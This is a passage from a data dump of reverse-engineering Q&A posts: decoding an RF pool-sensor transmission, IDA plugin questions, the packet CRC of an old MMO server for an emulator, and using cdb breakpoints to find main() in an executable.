(Of note, despite both sensor and base displays showing min/max readings, they appear to be uncoupled -- resetting one resets its min/max to the next current reading -- so i &lt;em&gt;don't&lt;/em&gt; think the sensor transmits its min/max.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are some example captures. I realize i haven't put enough rigor into controlling the temperature yet, but it's interesting to note that the bits change a little even when the display doesn't. There are two things that i suspect could cause this -- 1) maybe there &lt;em&gt;are&lt;/em&gt; extra, unshown bits of precision, and/or 2) there &lt;strong&gt;&lt;em&gt;is some noise&lt;/em&gt;&lt;/strong&gt; in the signal, as confirmed by viewing the trace on an analog scope, which frequently shows some bits whose length is indeterminately between zero and one. (This also lends support to the idea of a checksum, as i have &lt;em&gt;not&lt;/em&gt; observed glitchy data on the base station's display.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also note that i have no idea of the bit-order (or endianness) of any of the data in here (other than the tiny hint that it might be MSB-first b/c station code B is &quot;01&quot; and C is &quot;10&quot;, but i wouldn't put too much weight on that).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some very raw initial captures:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0000011110011000110000000000000000000000100011100000001100101101 # 73F (h76F,l69F,bat ok)&#xA;0000011110011000110000000000000000000000100011100000001100101101&#xA;00000111 10011000 11000000 00000000 00000000 10001110 00000011 00101101 # bytes? probably not.&#xA;0000011110011000110000000000000000000000100011101000010010101010&#xA;000001111001100011[22x0                ]100011101000010010101010 # lotta zeroes.&#xA;0000011110011000110000000000000000000000100011100000001100101101 # 73F (h76F,l69F,bat ok)&#xA;0000011110011000110000000000000000000000100011101000010010101010 # 73F (h76F,l69F,bat ok)&#xA;0000011110011000110000000000000000000000100011100000010100101011 # 73F (h76F,l69F,bat ok)&#xA;                                                ^--first difference.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When &quot;sitting still&quot;, a few bits near then end change:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0000011110011000110000000000000000000000100011101000010010101010 # 20(min)/23(cur)/25(max)&#xA;0000011110011000110000000000000000000000100011100000010100101011&#xA;0000011110011000110000000000000000000000100011100000011000101000&#xA;0000011110011000110000000000000000000000100011100000010100101011&#xA;0000011110011000110000000000000000000000100011101000010010101010&#xA;------------------------------------------------x-----xxx-----xx changing bits.&#xA;0000011110011000110000000000000000000000100011100000001100101101&#xA;                                                     x       x   add'l changing bits.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I initially looked for 23d, since Celsius seemed more likely as a sensor output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0000 0111 1001 1000 1100 0000 0000 0000 0000 0000 1000 1110   0000 0101 0010 1011&#xA;   0    7    9    8    C    0    0    0    0    0    8    E      0    5    2    B&#xA;0    E    9    1    3    0    0    0    0    0    1    7      0    A    4    D&#xA;&#xA;0000 0111 1001 1000 1100 0000 0000 0000 0000 0000 1000 1110   1000 0100 1010 1010&#xA;   0    7    9    8    C    0    0    0    0    0    8    E      8    4    A    A&#xA;0    E    9    1    3    0    0    0    0    0    1    7      1    2    5    5&#xA;&#xA;                                                  ^^^^^^-- 0x17 = 23C, which is 73.4F ?&#xA;                                                       ^^^^^^^^-- a more realistic 0x17 ?&#xA;                                                            no, b/c of the 0x07 above it.&#xA;&#xA;Maybe we need to be looking for ~230(dec) instead of 23? 230=0xE6, 225=0xE1, 235=0xEB, 239=0xEF.&#xA;Those are (from 225 up): 11100001, 11100110, 11101011, 11101111. the &quot;1110&quot; is here, MSB-first:&#xA;      vvvv                                  vvvv&#xA;0000011110011000110000000000000000000000100011100000001100101101&#xA;0000011110011000110000000000000000000000100011100000010100101011&#xA;0000011110011000110000000000000000000000100011100000010100101011&#xA;0000011110011000110000000000000000000000100011100000011000101000&#xA;0000011110011000110000000000000000000000100011101000000110101111 &amp;lt;--.&#xA;0000011110011000110000000000000000000000100011101000001010101100    |&#xA;0000011110011000110000000000000000000000100011101000010010101010    |&#xA;0000011110011000110000000000000000000000100011101000010010101010    |&#xA;    ^^^^                                   ^^^^            ^^^^(but only once)&#xA;and here, LSB-first.&#xA;&#xA;A pair of them is interesting b/c the cur and max are both 23C, while the min is 21C.&#xA;&#xA;21C is listed as the min temp seen, and 210(degC*10)=0xD2=11010010. (21.9C=0xDB).&#xA;So that means we'd expect to see a 1101. Do we? MSB first, then LSB first:&#xA;                                             vvvv      vvvv vvvv (not consistent)&#xA;0000011110011000110000000000000000000000100011100000001100101101&#xA;0000011110011000110000000000000000000000100011100000010100101011&#xA;0000011110011000110000000000000000000000100011100000010100101011&#xA;0000011110011000110000000000000000000000100011100000011000101000&#xA;0000011110011000110000000000000000000000100011101000000110101111&#xA;0000011110011000110000000000000000000000100011101000001010101100&#xA;0000011110011000110000000000000000000000100011101000010010101010&#xA;0000011110011000110000000000000000000000100011101000010010101010&#xA;                                                          ^^^^&#xA;                                                            ^^^^ (not consistent)&#xA;Not really.&#xA;&#xA;Let's reset the sender. Now min/cur/max are all 23C / 74F (yes, up from the 73F before).&#xA;&#xA;0000011110011000110000000000000000000000100011101000100010100110&#xA;&#xA;Do we see 3 of the same pattern anywhere?&#xA;&#xA;       vvvvvvvv vvvv 3x 1100 MSB-first&#xA;0000011110011000110000000000000000000000100011101000100010100110&#xA;&#xA;0000011110011000110000000000000000000000100011101000100010100110&#xA;   ^^^^  ^^^^ ^^^^                        ^^^^             ^^^^ 5x 1100 LSB-first&#xA;&#xA;&#xA;0000011110011000110000000000000000000000100011101000100010100110&#xA;  ^^^^^      ^^^^^                       ^^^^^             ^^^^ 3x 11000 LSB-first&#xA;&#xA;Oddly, 11000b=24d, which is a bit of a near-miss for 23C readings. Probably not&#xA;relevant for the 74F unless there's a 50F offset... though come to think of it,&#xA;reading down to 50F probably covers the range people would want... Let's see&#xA;what the product manual says it can do:&#xA;&#xA;  Temperature Range: 0º to 158º F, -18º C to 70º C&#xA;  Temperature Accuracy: +/- 2°&#xA;&#xA;That... looks like degF might be worthwhile to consider.&#xA;&#xA;Oh, but that was the webpage... the PDF says:&#xA;&#xA;  32ºF to 158ºF; 0ºC to 70ºC&#xA;&#xA;which frankly seems more likely.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I started coarsely manipulating the temperature and watching bits rise (^) and fall (v):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(Initially around 23C/74F):&#xA;0000011110011000110000000000000000000000100011101000100010100110&#xA;                                                v     ^ v     v&#xA;0000011110011000110000000000000000000000100011100000101000100100&#xA;&#xA;Breathed on it up to 27C (81F):&#xA;                                ^      ^    vvv^    v v ^    v&#xA;0000011110011000110000000000000010000001100000010000000010100000&#xA;&#xA;It fell to 24C (75F):&#xA;                                v      vv   ^^^ ^    ^  v   ^ ^^&#xA;0000011110011000110000000000000000000000000011111000010000101011&#xA;                                                v    v  ^    ^&#xA;0000011110011000110000000000000000000000000011110000000010101111&#xA;&#xA;Then to 24C (74F):&#xA;                                        ^      v    ^^^^v   vvv&#xA;0000011110011000110000000000000000000000100011100000111100100001&#xA;&#xA;Then to 23C (74F):&#xA;                                                     vv      ^^&#xA;0000011110011000110000000000000000000000100011100000100100100111&#xA;                                                      ^v      vv&#xA;0000011110011000110000000000000000000000100011100000101000100100&#xA;&#xA;Still 23C (74F)  [max 27C (81F), min 23C (74F)].&#xA;&#xA;Moved the sensor outside to let the temp fall.&#xA;Current &amp;amp; min fell to 20C (68F):&#xA;                                        v     v ^     v&#xA;0000011110011000110000000000000000000000000011001000100000100100&#xA;&#xA;Then to 19C (66F):&#xA;                                        ^    v^^      ^^^    v&#xA;0000011110011000110000000000000000000000100010111000101110100000&#xA;&#xA;Down to 17C (63F):&#xA;                                        v      v        v      ^&#xA;0000011110011000110000000000000000000000000010101000101100100001&#xA;&#xA;Down to 16C (62F):&#xA;                                                    v^vv    ^^^v&#xA;0000011110011000110000000000000000000000000010101000010000101110&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where does the temperature data start? The only time we had a bit change in the first 40 bits was when i breathed on it. Let's repeat that to see if those were glitches:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;33C (91F):&#xA;                                ^      ^^   v^v v     ^ ^   vv ^&#xA;0000011110011000110000000000000010000001100001000000011010100011&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Apparently not a glitch. That's a 1 in the 33rd bit, just like before. Maybe the first 32bits are ID? &lt;strong&gt;OR&lt;/strong&gt;, since the temperature goes up another 67F(!!!), maybe all those zeroes are just the high bits of the temperature. (The observed range so far is only 62F-91F (29degF), which is only the middle 1/5 of 0F-158F (158degF)).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's where i determined station codes. It had been set to &quot;A&quot; so far. There are also B and C.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;73F A:&#xA;0000011110011000110000000000000000000000100011101000000110101111&#xA;&#xA;72F B:&#xA; ^                                            v^v   ^^^ v^  vv v&#xA;0100011110011000110000000000000000000000100011010000111101100010&#xA;                                                ^     v ^     v&#xA;0100011110011000110000000000000000000000100011011000110111100000&#xA;&#xA;72F C:&#xA;^v                                                      vv&#xA;1000011110011000110000000000000000000000100011011000110100100000&#xA;                                                v     ^ ^     ^&#xA;1000011110011000110000000000000000000000100011010000111110100010&#xA;&#xA;Okay, well, the first two bits are clearly station code.&#xA;  00=A, 01=B, 10=C&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I explored the idea of some of the bits being the model number, but to no avail:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;What are the ways to represent 00617, the model number?&#xA;617d=0x269=1001101001b&#xA;&#xA;6 1 7 = 110 001 111b = 0110 0001 0111b&#xA;&#xA;ASCII for &quot;617&quot; is x36 x31 x37 = 00110110 00110001 00110111&#xA;&#xA;Not seeing it in [000111100110001100000000000000]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;More drift without a display change:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1000011110011000110000000000000000000000100011011000101100100110 a&#xA;                                                v      v^      ^&#xA;1000011110011000110000000000000000000000100011010000101010100111  b&#xA;                                                ^     v v     v&#xA;1000011110011000110000000000000000000000100011011000100000100101   c&#xA;                                                v     ^ ^     ^&#xA;1000011110011000110000000000000000000000100011010000101010100111  b&#xA;22C (71F):&#xA;                                                ^     v v     v&#xA;1000011110011000110000000000000000000000100011011000100000100101   c&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Looking back at the data, i really need to explore more of the temperature range before drawing conclusions. Water baths below 32F are going to need salt, which is annoying, but at least 158F isn't too terrible for the plastic enclosure (according to &lt;a href=&quot;http://www.machinist-materials.com/comparison_table_for_plastics.htm&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.machinist-materials.com/comparison_table_for_plastics.htm&lt;/a&gt; and &lt;a href=&quot;http://plastictroubleshooter.com/ThePlasticTroubleshooter/melt_temps.htm&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://plastictroubleshooter.com/ThePlasticTroubleshooter/melt_temps.htm&lt;/a&gt; , though it does feel like it &lt;em&gt;could&lt;/em&gt; be PVC...).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Current assumption:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ss0001111001100011dddddddddddddddddddddddddddddddddddddddddddddd&#xA;--________________----------------------------------------------&#xA;|  |               |&#xA;|  |               `-- 46 bits of data (temp and maybe batt and checksum&#xA;|  |&#xA;|  `-- 16 bits of ID (and/or maybe battery health?). Hasn't changed yet.&#xA;|&#xA;`-- 2 bits of station code (00=A, 01=B, 10=C)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15076" LastEditorUserId="-1" LastEditDate="2017-04-13T12:33:10.963" LastActivityDate="2016-11-25T03:45:29.107" Title="What is contained in this transmission? (RF pool-temperature sensor base unit receiver)" Tags="|file-format|unpacking|serial-communication|encodings|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12049" PostTypeId="1" CreationDate="2016-02-16T02:08:19.063" Score="1" ViewCount="794" Body="&lt;p&gt;Writing sandbox plugin for IDA (with IDAPython, but that not the case as it seems) to analyze ARM opcodes, I've came upon following issues:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) How can I distinct specific ARM architecture (e.g. ARMv5, ARMv7 et cetera) via plugin API? While appropriate arch is clearly stated in IDB header, I've failed to find any suitable API to retrieve that info from plugin.&#xA;&lt;code&gt;idaapi.get_inf_structure() -&amp;gt; procName&lt;/code&gt; &#xA;returns 'ARM' for any ARM ELF/Mach-O binary, as it seems.&#xA;Scanning opcodes can be a solution, but I doubt that's a good solution&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) 32/64 flags (i.e. is_32bit/is_64bit) are available to distinguish arm64, for example, fat mach-o's reports +/- for 32-bit (ARMv7) and +/+ for 64-bit (ARM64) IDA. Am I missing something?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) Is there any best-practice to determine ARM' thumb-instructions mode?&#xA;Hadn't go that far yet, stuck with architecture issue...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;May be I'm blind?&lt;/p&gt;&#xA;" OwnerUserId="15077" LastActivityDate="2016-02-16T02:08:19.063" Title="Determine ARM architecture from IDA plugin" Tags="|ida|idapython|arm|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12050" PostTypeId="2" ParentId="12045" CreationDate="2016-02-16T04:51:38.490" Score="5" Body="&lt;pre&gt;&lt;code&gt;rasm2 -d -o 0x40425f 0f847b020000&#xA;je 0x4044e0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2016-02-16T04:51:38.490" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12051" PostTypeId="1" CreationDate="2016-02-16T10:29:29.040" Score="2" ViewCount="1424" Body="&lt;p&gt;I'm writing a plugin for IDA and I need to get the line number of an instruction in the main view when someone clicks on that instruction or somewhere in the view. I noticed that there is &lt;code&gt;GetLineNumber(ea)&lt;/code&gt; but it only gives me the line number in the source files, not the line num of the disassembled code.&lt;/p&gt;&#xA;" OwnerUserId="14651" LastEditorUserId="2147" LastEditDate="2018-10-02T20:02:06.227" LastActivityDate="2018-10-02T20:02:06.227" Title="IDA Pro get line number in main view" Tags="|ida|idapython|ida-plugin|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="12052" PostTypeId="2" ParentId="1791" CreationDate="2016-02-16T16:20:41.570" Score="1" Body="&lt;p&gt;A more up-to-date answer to this question would be to suggest &lt;a href=&quot;http://www.capstone-engine.org/&quot; rel=&quot;nofollow&quot;&gt;Capstone&lt;/a&gt; library. I've used it for ARM disassembly and it's quite reliable. IMHO, It's  the best open source library available. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The library is based on LLVM's TabelGen instruction descriptions. Therefore, its ISA support is as complete as LLVM.&lt;/p&gt;&#xA;" OwnerUserId="11828" LastActivityDate="2016-02-16T16:20:41.570" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12053" PostTypeId="1" AcceptedAnswerId="13519" CreationDate="2016-02-16T17:29:39.027" Score="4" ViewCount="2390" Body="&lt;p&gt;I would like to determine if an instruction a) reads from or b) writes to a memory address.&#xA;I can currently think of two approaches in IDA:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Looking for a list of mnemonics (better: particular opcodes?), e.g. for x86 see &lt;a href=&quot;https://en.wikibooks.org/wiki/X86_Assembly/Data_Transfer&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; and manually map each and every one of them to &lt;code&gt;read&lt;/code&gt;, &lt;code&gt;write&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This does not seem to be very elegant to me.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Work with the &lt;code&gt;idc.GetOpType(ea, n)&lt;/code&gt; function and check for the relevant &lt;code&gt;o_*&lt;/code&gt; constants (see &lt;a href=&quot;https://github.com/idapython/src/blob/master/python/idc.py&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;), i.e:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;o_mem      = idaapi.o_mem       # Direct Memory Reference  (DATA)      addr&#xA;o_phrase   = idaapi.o_phrase    # Memory Ref [Base Reg + Index Reg]    phrase&#xA;o_displ    = idaapi.o_displ     # Memory Reg [Base Reg + Index Reg + Displacement] phrase+addr&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Yet, these do not tell me if the instruction reads from or writes to memory.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Is there a better way to find out what I want? Ideally a way that works for multiple CPU architectures?&lt;/p&gt;&#xA;" OwnerUserId="11830" LastEditorUserId="2147" LastEditDate="2016-09-14T23:52:10.977" LastActivityDate="2022-05-12T11:50:33.137" Title="IDA: Generic approach to determine if an instruction reads from, or writes to, memory?" Tags="|ida|disassembly|assembly|idapython|idapro-sdk|" AnswerCount="4" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="12054" PostTypeId="1" CreationDate="2016-02-16T19:28:59.420" Score="16" ViewCount="1954" Body="&lt;p&gt;There are many IDA Pro plugins that assist with collaboration, but are any actively maintained and known to work with the latest version of IDA (version 6.9)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These are the tools that I'm aware of, and none of them are actively maintained.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;CrowdRE - Originally &lt;a href=&quot;http://crowd.re&quot; rel=&quot;noreferrer&quot;&gt;http://crowd.re&lt;/a&gt; or &lt;a href=&quot;http://crowdre.crowdstrike.com&quot; rel=&quot;noreferrer&quot;&gt;http://crowdre.crowdstrike.com&lt;/a&gt;. Now seems dead.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/aaronportnoy/toolbag&quot; rel=&quot;noreferrer&quot;&gt;Ida Toolbag&lt;/a&gt; - Last commit two years ago (Jan 2015)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/CubicaLabs/IDASynergy&quot; rel=&quot;noreferrer&quot;&gt;IDASynergy&lt;/a&gt; - Last commit two years ago (Jan 2015)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://sourceforge.net/projects/collabreate/&quot; rel=&quot;noreferrer&quot;&gt;CollabREate&lt;/a&gt; - Last meaningful commit 2012&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/zynamics/bincrowd-plugin-ida&quot; rel=&quot;noreferrer&quot;&gt;BinCrowd&lt;/a&gt; - Last commit 2012&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/nihilus/ida-sync-plugin&quot; rel=&quot;noreferrer&quot;&gt;IDASync&lt;/a&gt; - Last commit 2012&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="15086" LastEditorUserId="2147" LastEditDate="2017-01-02T10:43:45.437" LastActivityDate="2022-06-25T15:01:19.517" Title="Is there an actively maintained collaboration plugin for IDA?" Tags="|ida|disassembly|tools|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12055" PostTypeId="2" ParentId="12053" CreationDate="2016-02-16T22:21:23.753" Score="-1" Body="&lt;p&gt;If you have IDA Pro 6.x, then solution is pretty straightforward: &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/tutorials/tracing.pdf&quot; rel=&quot;nofollow&quot;&gt;https://www.hex-rays.com/products/ida/support/tutorials/tracing.pdf&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9820" LastActivityDate="2016-02-16T22:21:23.753" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12056" PostTypeId="1" AcceptedAnswerId="12058" CreationDate="2016-02-16T23:21:38.177" Score="6" ViewCount="5759" Body="&lt;p&gt;I have an executable without debug symbols, and I want to get to its' &lt;code&gt;main()&lt;/code&gt; function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I do is putting breakpoint at &lt;code&gt;$exentry&lt;/code&gt; address, but this address of some CRT-initialization. To get to the &lt;code&gt;main()&lt;/code&gt; I need to single-step until I see some changes in working application. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any other procedure to skip CRT code?&lt;/p&gt;&#xA;" OwnerUserId="15089" LastEditorUserId="12872" LastEditDate="2016-02-17T12:26:09.743" LastActivityDate="2016-02-18T09:51:09.887" Title="Find main() function of executable with windbg" Tags="|windbg|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12057" PostTypeId="1" AcceptedAnswerId="12080" CreationDate="2016-02-17T02:35:54.353" Score="1" ViewCount="1049" Body="&lt;p&gt;Currently, I am trying to figure out the packet structure (for encryption) of an old MMO in order to create an emulator. Its official servers shut down 3 years ago and this version is over 11 years old.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After loading up the original server (it takes up ~3gb of RAM just to load and eats quite a lot of CPU, so that's why I want to emulate it) with IDA, I found that the polynomial is 0x8005 (32773) and that it was &quot;Crc16&quot;. To further back that up, I found a series of bytes in memory when it's loaded:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00 00 [05 80] 0F 80 0A 00 1B 80 1E 00 14 00 11 80 33 80 36 00 3C 00 39 80 28 00&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And, from IDA (pInitial is always 0 for some reason):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;FnlApi::CCrc16::SetPolynomial(&amp;amp;this-&amp;gt;__mCrc, 32773);&#xA;//////////////////////////////&#xA;v5 = FnlApi::CCrc16::CalcCrc(&amp;amp;this-&amp;gt;__mCrc, pPack + 2, pLng - 2, 0);&#xA;//////////////////////////////&#xA;int result; // eax@1&#xA;const char *v5; // edx@1&#xA;__int16 v6; // bx@2&#xA;unsigned __int16 v7; // bx@2&#xA;bool v8; // zf@2&#xA;&#xA;LOWORD(result) = pInitial;&#xA;v5 = pMsg;&#xA;do&#xA;{&#xA;    LOBYTE(v6) = 0;&#xA;    HIBYTE(v6) = result;&#xA;    v7 = this-&amp;gt;__mTbl[(unsigned __int8)(*v5++ ^ BYTE1(result))] ^ v6;&#xA;    v8 = pLng-- == 1;&#xA;    result = v7;&#xA;}&#xA;while ( !v8 );&#xA;return result;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is a packet from the server that isn't encrypted.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[1B 00] [00] [00 F2 2C 00 00 00] [31 32 37 2E 30 2E 30 2E 31 00 00 00 20 01 00 00 16 27]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As I understand, this is the packet &quot;structure&quot;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[Packet ID] [Key (00?)] [CRC, padding?] [Actual packet]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is a packet from the server that is encrypted.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[2F 00] [74] [38 ED 2C 00 00 01] [93 85 AE 9A 9A 9A 9A 9A 9A 9A 9A 9A 9A 9A 9A 9A 9A 9A 9A F3 3C EF EF F9 AE 9A 9A 9A 9A 9A 9A 9A 9A 9A 9A 9A 9A 9A 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Decrypted, this is (I think):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[2F 00] [74] [38 ED 2C 00 00 01] [75 69 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 70 61 73 73 77 64 00 00 00 00 00 00 00 00 00 00 00 00 00 CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I think both of the packets's structure is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[Packet ID] [Key] [CRC, padding?] [Actual packet]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Another packet that is encrypted with the same structure:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[18 00] [42] [56 D6 07 00 00 01] [2E 75 3D D2 75 03 CC 03 CD CC 03 8E 2D CC B1 6B 9F DB 6B D1 DB 6B 4F 4F D3 73 78 C6 AA 4B DF 63 1E 4A 18 C6 23 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Decrypted:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[18 00] [42] [56 D6 07 00 00 01] [63 74 65 73 74 00 01 00 08 01 00 04 02 01 03 C7 0F AC C7 C4 AC C7 A3 A3 E7 5C 7F 05 CA 6D A0 77 46 64 F8 05 9E 3F 3F 3F 3F 3F 3F 3F 3F 3F 3F 3F 3F 3F 3F 3F 3F 3F 3F 3F 3F 3F 3F 3F 3F]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I apologize for this being a mess, but I've been at it for days with no actual progress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My current class (with decryption working) is here: &lt;a href=&quot;http://pastebin.com/7e05AJLa&quot; rel=&quot;nofollow&quot;&gt;http://pastebin.com/7e05AJLa&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15091" LastEditorUserId="15091" LastEditDate="2016-02-21T01:11:09.817" LastActivityDate="2016-02-21T17:09:33.637" Title="Figuring out the CRC part of a packet" Tags="|ida|encryption|crc|packet|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="12058" PostTypeId="2" ParentId="12056" CreationDate="2016-02-17T05:33:26.400" Score="8" Body="&lt;p&gt;no there is no shortcut loader knows only about the $exentry because it is an embedded pointer in the PeHeader&lt;br&gt;&#xA;from there to main is mostly traversed by either single stepping or observing and recognizing known functions by practice and experience&lt;br&gt;&#xA;the crt code is fairly common and the source for crt is available in crt folder of any visual studio installation  (this will help if you have the binary with debug info &lt;/p&gt;&#xA;&#xA;&lt;p&gt;if the binary is stripped or built without debuginfo in release mode crt src wont help you pinpoint the main()&lt;/p&gt;&#xA;&#xA;&lt;p&gt;in those case you should be able to recognize certain standard calls that the crt is going to make for example it would normally call &lt;strong&gt;kernel32!GetCommandLineXXXX&lt;/strong&gt;  settig a bp on that function brings you closer to the main() another function you can set a breakpoint is &#xA;&lt;strong&gt;kernel32!GetEnvironemStringXXXX&lt;/strong&gt; &#xA;and then set hardware breaks on the results &#xA;once you have hit these breakpoints you can&#xA;you can use the standard prototype of main &#xA;int main (int argc , char **argv , char* envp) construct to &#xA;identify your main&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;cdb -c &quot;bp $exentry;g;bp kernel32!GetCommandlineA;g;g poi(@esp)&quot; hell.exe&#xA;&#xA;0:000&amp;gt; cdb: Reading initial command 'bp $exentry;g;bp kernel32!GetCommandlineA;g;g poi(@esp)'&#xA;Breakpoint 0 hit&#xA;Breakpoint 1 hit&#xA;eax=002b36d8 ebx=7ffdf000 ecx=002b47e8 edx=002b4813 esi=00000000 edi=00000000&#xA;eip=01314082 esp=0024f9b0 ebp=0024f9e4 iopl=0         nv up ei pl zr na pe nc&#xA;cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246&#xA;image01310000+0x4082:&#xA;01314082 a3c4933201      mov     dword ptr [image01310000+0x193c4 (013293c4)],ea&#xA;x ds:0023:013293c4=00000000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the same area and the distance between exec_main and getcommandline function as an image of ollydbg debugging the same executable&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/eYXZ8.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/eYXZ8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the same src built with debuginfo &lt;strong&gt;/Zi msvc compiler&lt;/strong&gt; and snap shotted&#xA;&lt;a href=&quot;https://i.stack.imgur.com/MvIx3.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/MvIx3.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;to get more nearer you can employ the int argc &#xA;you execute the binary so you know how many arguments you passed &#xA;if you passed no arguments to the binary then int argc will be equal to 1 &#xA;if you passed 8 arguments int argc will be equal to 9 &lt;/p&gt;&#xA;&#xA;&lt;p&gt;with that in mind 